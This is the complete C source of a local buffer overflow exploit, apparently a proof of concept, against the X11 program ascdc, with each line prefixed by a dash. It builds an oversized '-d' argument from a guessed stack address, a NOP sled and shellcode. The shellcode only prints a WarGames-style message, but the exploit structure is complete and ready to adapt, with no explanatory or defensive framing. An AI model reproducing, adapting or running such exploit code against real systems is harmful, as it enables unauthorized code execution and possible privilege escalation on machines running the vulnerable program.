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- char shellcode[]="\xeb\x15\x59\x31\xc0\x31\xdb\x31\xd2\xb0"
- "\x04\xb3\x01\xb2\x50\xcd\x80\x31\xc0\xb0"
- "\x01\xcd\x80\xe8\xe6\xff\xff\xff"
- "Would you like to play a game? y\x0aStrange, the only winning
- move is not to play.\x0a";
- #define bsize 600
- unsigned long get_sp(void) {
- __asm__("movl %esp,%eax");
- }
-
- main(int argc, char *argv[]) {
- char *buff, *ptr;
- long *addr_ptr, addr;
- int i;
- buff = malloc(bsize);
-
- addr = get_sp();
- ptr = buff;
- addr_ptr = (long *) ptr;
- for (i = 0; i < bsize; i+=4)
- *(addr_ptr++) = addr;
-
- for (i = 0; i < 600/2; i++)
- buff[i] = 0x90;
-
- ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
- for (i = 0; i < strlen(shellcode); i++)
- *(ptr++) = shellcode[i];
- buff[bsize - 1] = '\0';
- execlp("/usr/X11R6/bin/ascdc","ascdc","-d",buff,0);
-
- }
-